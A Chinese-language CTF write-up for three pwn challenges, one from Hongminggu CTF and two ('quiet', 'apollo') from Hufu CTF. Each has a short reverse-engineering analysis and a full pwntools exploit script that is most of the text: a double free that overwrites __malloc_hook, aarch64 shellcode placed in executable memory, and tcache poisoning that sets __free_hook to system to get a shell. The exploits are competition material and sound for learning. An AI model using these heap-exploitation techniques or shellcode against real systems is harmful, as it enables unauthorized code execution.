红明谷ctf_虎符ctf

连打两天,逆向花了不少时间,人都快调傻了

红明谷—双边协定1.0

分析

输出

这个程序对输入输出都是有动手脚的,首先输出数据是加密过的,看看加密函数

大概就是会在需要输出的信息前再加上一串东西,然后base64加密,也就是说将收到的数据base64揭秘之后,末尾才是你真正需要的,可以验证一下这一点:

输入

其次来看输入

可以很容易看出decrypt函数就是处理我们输入的一个关键函数了:

不难看出是个base64解密,也就是说我们在输入的时候,需要将数据base64编码之后再发过去

接下来就是输入数据的格式了,分析之后得:

1
2
3
4
5
6
7
8
9
10
11
0x1234567812345678

chunk1_size+chunk2(ptr)_size+0x20

chunk1_size

chunk2(ptr)_size

chunk1_data(前八字节必须为0x4141414141414141

chunk2(ptr)_data

当输入成功后返回chunk2(ptr)的指针,也就是说需要将你的有效输入数据放在chunk2_data里面

exp

首先泄露地址,这一点并不难

虽说add这里可以申请的chunk大小有限,但是在输入时用到的那两个chunk的size可以开到很大,切割unsorted bin泄露地址就行

其次就是漏洞点:

倘若在add时输入content的时候使之返回ERROR,程序并不会结束,里面会free一次ptr,外面也会free一次,这样一来就构成了一个double free,正常写malloc_hook就行了

脚本的话老习惯了,懒得写函数,看着乱哈哈

不过这题的难点在分析,漏洞利用还是比较简单的,最后写完hook就可以直接interactive()了,因为menu输出数据时也是会申请chunk的

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
from pwn import *
import base64
context.log_level='debug'
context.arch='amd64'
local=1
if local:
sh=process('./pwn')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
sh=remote("8.140.179.11",13452)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget=[0x45226,0x4527a,0xf0364,0xf1207]
sa = lambda s,n : sh.sendafter(s,n)
sla = lambda s,n : sh.sendlineafter(s,n)
sl = lambda s : sh.sendline(s)
sd = lambda s : sh.send(s)
rc = lambda n : sh.recv(n)
ru = lambda s : sh.recvuntil(s)
ti = lambda : sh.interactive()
leak = lambda name,addr :log.success(name+":"+hex(addr))

sleep(1)

s="\x78\x56\x34\x12\x78\x56\x34\x12"
s+="\x40\x01\x00\x00\x00\x00\x00\x00"
s+="\x00\x01\x00\x00\x00\x00\x00\x00"
s+="\x20\x00\x00\x00\x00\x00\x00\x00"
s+="\x41\x41\x41\x41\x41\x41\x41\x41"*32

s+="\x31"
#choice add
ru("eFY0EnhWNBIxAAAAAAAAAAgAAAAAAAAACQAAAAAAAABBQUFBQUFBQUNob2ljZSA/Pg==")
sl(base64.b64encode(s))


s="\x78\x56\x34\x12\x78\x56\x34\x12"
s+="\x40\x01\x00\x00\x00\x00\x00\x00"
s+="\x00\x01\x00\x00\x00\x00\x00\x00"
s+="\x20\x00\x00\x00\x00\x00\x00\x00"
s+="\x41\x41\x41\x41\x41\x41\x41\x41"*32

s+="\x38"
#size=0x8
ru("eFY0EnhWNBIvAAAAAAAAAAgAAAAAAAAABwAAAAAAAABBQUFBQUFBQVNpemUgPj4=")
sl(base64.b64encode(s))

s="\x78\x56\x34\x12\x78\x56\x34\x12"
s+="\x40\x01\x00\x00\x00\x00\x00\x00"
s+="\x00\x01\x00\x00\x00\x00\x00\x00"
s+="\x20\x00\x00\x00\x00\x00\x00\x00"
s+="\x41\x41\x41\x41\x41\x41\x41\x41"*32

s+="aaaaaaaa"
#content="aaaaaaaa"
ru("eFY0EnhWNBIyAAAAAAAAAAgAAAAAAAAACgAAAAAAAABBQUFBQUFBQUNvbnRlbnQgPj4=")
sl(base64.b64encode(s))

s="\x78\x56\x34\x12\x78\x56\x34\x12"
s+="\x40\x01\x00\x00\x00\x00\x00\x00"
s+="\x00\x01\x00\x00\x00\x00\x00\x00"
s+="\x20\x00\x00\x00\x00\x00\x00\x00"
s+="\x41\x41\x41\x41\x41\x41\x41\x41"*32

s+="\x34"
#choice show
ru("eFY0EnhWNBIxAAAAAAAAAAgAAAAAAAAACQAAAAAAAABBQUFBQUFBQUNob2ljZSA/Pg==")
sl(base64.b64encode(s))

ru("\n")
data=ru("\n")[:-1]
data=base64.b64decode(data)
print data
addr=u64(data[-6:].ljust(8,"\x00"))
leak("addr",addr)
libc_base=addr-0x58-0x3c4b20+0x10000000000
leak("libc_base",libc_base)
malloc_hook=libc_base+libc.sym['__malloc_hook']
one=libc_base+one_gadget[1]
realloc=libc_base+libc.sym['realloc']

s="\x78\x56\x34\x12\x78\x56\x34\x12"
s+="\x40\x01\x00\x00\x00\x00\x00\x00"
s+="\x00\x01\x00\x00\x00\x00\x00\x00"
s+="\x20\x00\x00\x00\x00\x00\x00\x00"
s+="\x41\x41\x41\x41\x41\x41\x41\x41"*32

s+="\x31"
#choice add
ru("eFY0EnhWNBIxAAAAAAAAAAgAAAAAAAAACQAAAAAAAABBQUFBQUFBQUNob2ljZSA/Pg==")
sl(base64.b64encode(s))


s="\x78\x56\x34\x12\x78\x56\x34\x12"
s+="\x40\x01\x00\x00\x00\x00\x00\x00"
s+="\x00\x01\x00\x00\x00\x00\x00\x00"
s+="\x20\x00\x00\x00\x00\x00\x00\x00"
s+="\x41\x41\x41\x41\x41\x41\x41\x41"*32

s+="\x38"

ru("eFY0EnhWNBIvAAAAAAAAAAgAAAAAAAAABwAAAAAAAABBQUFBQUFBQVNpemUgPj4=")
sl(base64.b64encode(s))

s="\x78\x56\x34\x12\x78\x56\x34\x12"
s+="\x40\x01\x00\x00\x00\x00\x00\x00"
s+="\x60\x00\x00\x00\x00\x00\x00\x00"
s+="\x60\x00\x00\x00\x00\x00\x00\x00"
s+="\x41\x41\x41\x41\x41\x41\x41\x41"*32

s+="aaaaaaaa"
#Illegal head cause double free
ru("eFY0EnhWNBIyAAAAAAAAAAgAAAAAAAAACgAAAAAAAABBQUFBQUFBQUNvbnRlbnQgPj4=")
sl(base64.b64encode(s))

s="\x78\x56\x34\x12\x78\x56\x34\x12"
s+="\x60\x00\x00\x00\x00\x00\x00\x00"
s+="\x30\x00\x00\x00\x00\x00\x00\x00"
s+="\x10\x00\x00\x00\x00\x00\x00\x00"
s+="\x41\x41\x41\x41\x41\x41\x41\x41"*6

s+="\x31"

ru("eFY0EnhWNBIxAAAAAAAAAAgAAAAAAAAACQAAAAAAAABBQUFBQUFBQUNob2ljZSA/Pg==")
sl(base64.b64encode(s))

s="\x78\x56\x34\x12\x78\x56\x34\x12"
s+="\x60\x00\x00\x00\x00\x00\x00\x00"
s+="\x30\x00\x00\x00\x00\x00\x00\x00"
s+="\x10\x00\x00\x00\x00\x00\x00\x00"
s+="\x41\x41\x41\x41\x41\x41\x41\x41"*6

s+="\x38\x39"

ru("eFY0EnhWNBIvAAAAAAAAAAgAAAAAAAAABwAAAAAAAABBQUFBQUFBQVNpemUgPj4=")
sl(base64.b64encode(s))

s="\x78\x56\x34\x12\x78\x56\x34\x12"
s+="\x30\x01\x00\x00\x00\x00\x00\x00"
s+="\x00\x01\x00\x00\x00\x00\x00\x00"
s+="\x10\x00\x00\x00\x00\x00\x00\x00"
s+="\x41\x41\x41\x41\x41\x41\x41\x41"*32

s+=p64(malloc_hook-0x23)

ru("eFY0EnhWNBIyAAAAAAAAAAgAAAAAAAAACgAAAAAAAABBQUFBQUFBQUNvbnRlbnQgPj4=")
sl(base64.b64encode(s))

s="\x78\x56\x34\x12\x78\x56\x34\x12"
s+="\x60\x00\x00\x00\x00\x00\x00\x00"
s+="\x30\x00\x00\x00\x00\x00\x00\x00"
s+="\x10\x00\x00\x00\x00\x00\x00\x00"
s+="\x41\x41\x41\x41\x41\x41\x41\x41"*6

s+="\x31"

ru("eFY0EnhWNBIxAAAAAAAAAAgAAAAAAAAACQAAAAAAAABBQUFBQUFBQUNob2ljZSA/Pg==")
sl(base64.b64encode(s))

s="\x78\x56\x34\x12\x78\x56\x34\x12"
s+="\x60\x00\x00\x00\x00\x00\x00\x00"
s+="\x30\x00\x00\x00\x00\x00\x00\x00"
s+="\x10\x00\x00\x00\x00\x00\x00\x00"
s+="\x41\x41\x41\x41\x41\x41\x41\x41"*6

s+="\x38\x39"

ru("eFY0EnhWNBIvAAAAAAAAAAgAAAAAAAAABwAAAAAAAABBQUFBQUFBQVNpemUgPj4=")
sl(base64.b64encode(s))

s="\x78\x56\x34\x12\x78\x56\x34\x12"
s+="\x30\x01\x00\x00\x00\x00\x00\x00"
s+="\x00\x01\x00\x00\x00\x00\x00\x00"
s+="\x10\x00\x00\x00\x00\x00\x00\x00"
s+="\x41\x41\x41\x41\x41\x41\x41\x41"*6

s+=p64(malloc_hook-0x23)

ru("eFY0EnhWNBIyAAAAAAAAAAgAAAAAAAAACgAAAAAAAABBQUFBQUFBQUNvbnRlbnQgPj4=")
sl(base64.b64encode(s))

s="\x78\x56\x34\x12\x78\x56\x34\x12"
s+="\x60\x00\x00\x00\x00\x00\x00\x00"
s+="\x30\x00\x00\x00\x00\x00\x00\x00"
s+="\x10\x00\x00\x00\x00\x00\x00\x00"
s+="\x41\x41\x41\x41\x41\x41\x41\x41"*6

s+="\x31"

ru("eFY0EnhWNBIxAAAAAAAAAAgAAAAAAAAACQAAAAAAAABBQUFBQUFBQUNob2ljZSA/Pg==")
sl(base64.b64encode(s))

s="\x78\x56\x34\x12\x78\x56\x34\x12"
s+="\x60\x00\x00\x00\x00\x00\x00\x00"
s+="\x30\x00\x00\x00\x00\x00\x00\x00"
s+="\x10\x00\x00\x00\x00\x00\x00\x00"
s+="\x41\x41\x41\x41\x41\x41\x41\x41"*6

s+="\x38\x39"

ru("eFY0EnhWNBIvAAAAAAAAAAgAAAAAAAAABwAAAAAAAABBQUFBQUFBQVNpemUgPj4=")
sl(base64.b64encode(s))

s="\x78\x56\x34\x12\x78\x56\x34\x12"
s+="\x30\x01\x00\x00\x00\x00\x00\x00"
s+="\x00\x01\x00\x00\x00\x00\x00\x00"
s+="\x10\x00\x00\x00\x00\x00\x00\x00"
s+="\x41\x41\x41\x41\x41\x41\x41\x41"*6

s+='a'*0x13+p64(one)

ru("eFY0EnhWNBIyAAAAAAAAAAgAAAAAAAAACgAAAAAAAABBQUFBQUFBQUNvbnRlbnQgPj4=")
sl(base64.b64encode(s))


s="\x78\x56\x34\x12\x78\x56\x34\x12"
s+="\x70\x00\x00\x00\x00\x00\x00\x00"
s+="\x30\x00\x00\x00\x00\x00\x00\x00"
s+="\x20\x00\x00\x00\x00\x00\x00\x00"
s+="\x41\x41\x41\x41\x41\x41\x41\x41"*6

s+="\x31"

ru("eFY0EnhWNBIxAAAAAAAAAAgAAAAAAAAACQAAAAAAAABBQUFBQUFBQUNob2ljZSA/Pg==")
sl(base64.b64encode(s))

s="\x78\x56\x34\x12\x78\x56\x34\x12"
s+="\x70\x00\x00\x00\x00\x00\x00\x00"
s+="\x30\x00\x00\x00\x00\x00\x00\x00"
s+="\x20\x00\x00\x00\x00\x00\x00\x00"
s+="\x41\x41\x41\x41\x41\x41\x41\x41"*6

s+="\x38\x39"

ru("eFY0EnhWNBIvAAAAAAAAAAgAAAAAAAAABwAAAAAAAABBQUFBQUFBQVNpemUgPj4=")
sd(base64.b64encode(s))


s="\x78\x56\x34\x12\x78\x56\x34\x12"
s+="\x60\x01\x00\x00\x00\x00\x00\x00"
s+="\x00\x01\x00\x00\x00\x00\x00\x00"
s+="\x40\x00\x00\x00\x00\x00\x00\x00"
s+="\x41\x41\x41\x41\x41\x41\x41\x41"*32

s+="a"*0x13+p64(one)

ru("eFY0EnhWNBIyAAAAAAAAAAgAAAAAAAAACgAAAAAAAABBQUFBQUFBQUNvbnRlbnQgPj4=")
sd(base64.b64encode(s))
ti()

虎符quiet

分析

虚拟机pwn,分析了几个函数之后如下:

很显然,由于mmap_addr可读可写可执行,这已经足够我们完成攻击了

exp

利用off_12038的get_c功能和off_12018的指针后移功能,逐个字节地向mmap_addr(0x100000000000)中写入shellcode,然后用off_12058的跳转功能跳转执行shellcode即可

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
context.log_level='debug'
context.arch='amd64'
local=1
debug=0
if local:
if debug:
sh=process(['qemu-aarch64','-g','1234','./pwn'])
else:
sh=process(['qemu-aarch64','./pwn'])
else:
sh=remote("8.140.179.11",51322)

sa = lambda s,n : sh.sendafter(s,n)
sla = lambda s,n : sh.sendlineafter(s,n)
sl = lambda s : sh.sendline(s)
sd = lambda s : sh.send(s)
rc = lambda n : sh.recv(n)
ru = lambda s : sh.recvuntil(s)
ti = lambda : sh.interactive()
leak = lambda name,addr :log.success(name+":"+hex(addr))

shellcode="\xe1\x45\x8c\xd2\x21\xcd\xad\xf2\xe1\x65\xce\xf2\x01\x0d\xe0\xf2\xe1\x8f\x1f\xf8\xe1\x03\x1f\xaa\xe2\x03\x1f\xaa\xe0\x63\x21\x8b\xa8\x1b\x80\xd2\xe1\x66\x02\xd4"

payload="\x23\x29"*len(shellcode)
payload+="\x47"
sa("cmd> ",payload)

for i in range(len(shellcode)):
sd(shellcode[i])
ti()

虎符apollo

这题说实话可惜了,最后时间太慌了,但凡比赛最后冷静分析个十几分钟当时也就出了

分析

也是虚拟机pwn,还能咋办,慢慢逆呗

首先第一步是要执行loc_eb8的,不然dword_14098为0啥也干不了

这里就是输入两个数a,b,在0x3到0x10之间

然后就是

chunk1=calloc(a*b,1);

chunk2=calloc(a*b,1)

这步过后,dword_14098置1,其他函数的功能就可以正常使用了

然后就是几个常规的add,delete和show功能:

add

delete

show

还有可以对chunk1数据做修改的两个函数:

接下来就是几个关键函数了

这四个函数的作用相类似,取一个看一下:

总结出两个关键点:

1)可以对chunk1和chunk2的数据做修改,数据在一定范围内可控

2)修改的位置可以溢出

exp

根据上面的分析,这样就很简单了:

a=4,b=6

sub_1990中如下分支执行两次(要满足相应的分支条件需要提前布置好相应的值):

这样就实现了dword_140a4=4

qword_14090 + dword_140A4 * dword_140A0 + dword_140A8=chunk2[24],溢出达成

(这里有关于下标的索引类似于二维数组)

然后就是继续多次执行sub_1990,dword_14080会累加并不断写入chunk2[24],也就是说可以溢出写下一个chunk的size,直到它变成一个你需要的值

我这里申请0x4f0的chunk,这样得到的chunk的size的数据就是0x501,溢出将其写到0x521为止,再将其free掉,就有了与下一个堆块之间的重叠

free下一个chunk进tcache,再切割上述的0x521大小的chunk,即可改写tcache指针

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *
context.log_level='debug'
context.arch='amd64'
local=1
debug=0
if local:
if debug:
sh=process(['qemu-aarch64','-g','1234','./pwn'])
else:
sh=process(['qemu-aarch64','./pwn'])
else:
sh=remote("8.140.179.11",13422)
libc=ELF('./libc.so.6')
sa = lambda s,n : sh.sendafter(s,n)
sla = lambda s,n : sh.sendlineafter(s,n)
sl = lambda s : sh.sendline(s)
sd = lambda s : sh.send(s)
rc = lambda n : sh.recv(n)
ru = lambda s : sh.recvuntil(s)
ti = lambda : sh.interactive()
leak = lambda name,addr :log.success(name+":"+hex(addr))


payload="\x4d\x04\x06"
payload+="\x2a\x00\x02\xf0\x04"
payload+="\x2a\x00\x03\x00\x01"
payload+="\x2f\x00\x02"
payload+="\x2a\x00\x02\xf0\x04"
payload+="\x2b\x01\x00\x02"
payload+="\x2b\x03\x00\x02"

payload+="\x73\x73"

payload+="\x73"*0x20
payload+="\x70"

payload+="\x2f\x00\x02"
payload+="\x2f\x00\x03"
payload+="\x2a\x00\x02\xf0\x04"
payload+="\x2a\x00\x03\x10\x00"
payload+="\x2a\x00\x04\x00\x01"
payload+="\x2a\x00\x05\x00\x01"
payload+="\x2f\x00\x02"

sa("cmd> ",payload)

sd('aaaa')

sd('a'*0x10+p64(0)+p64(0x111-0x20))

sd('aaaaaaaa')
ru('a'*8)

addr=u64(rc(3).ljust(8,"\x00"))
leak("addr",addr)
libc_base=addr+0x4000000000-0x154ad0
leak("libc_base",libc_base)
free_hook=libc_base+libc.sym['__free_hook']
system=libc_base+libc.sym['system']

sd('/bin/sh\x00')

sd(p64(free_hook))

sd('a')

sd(p64(system))
ti()
0%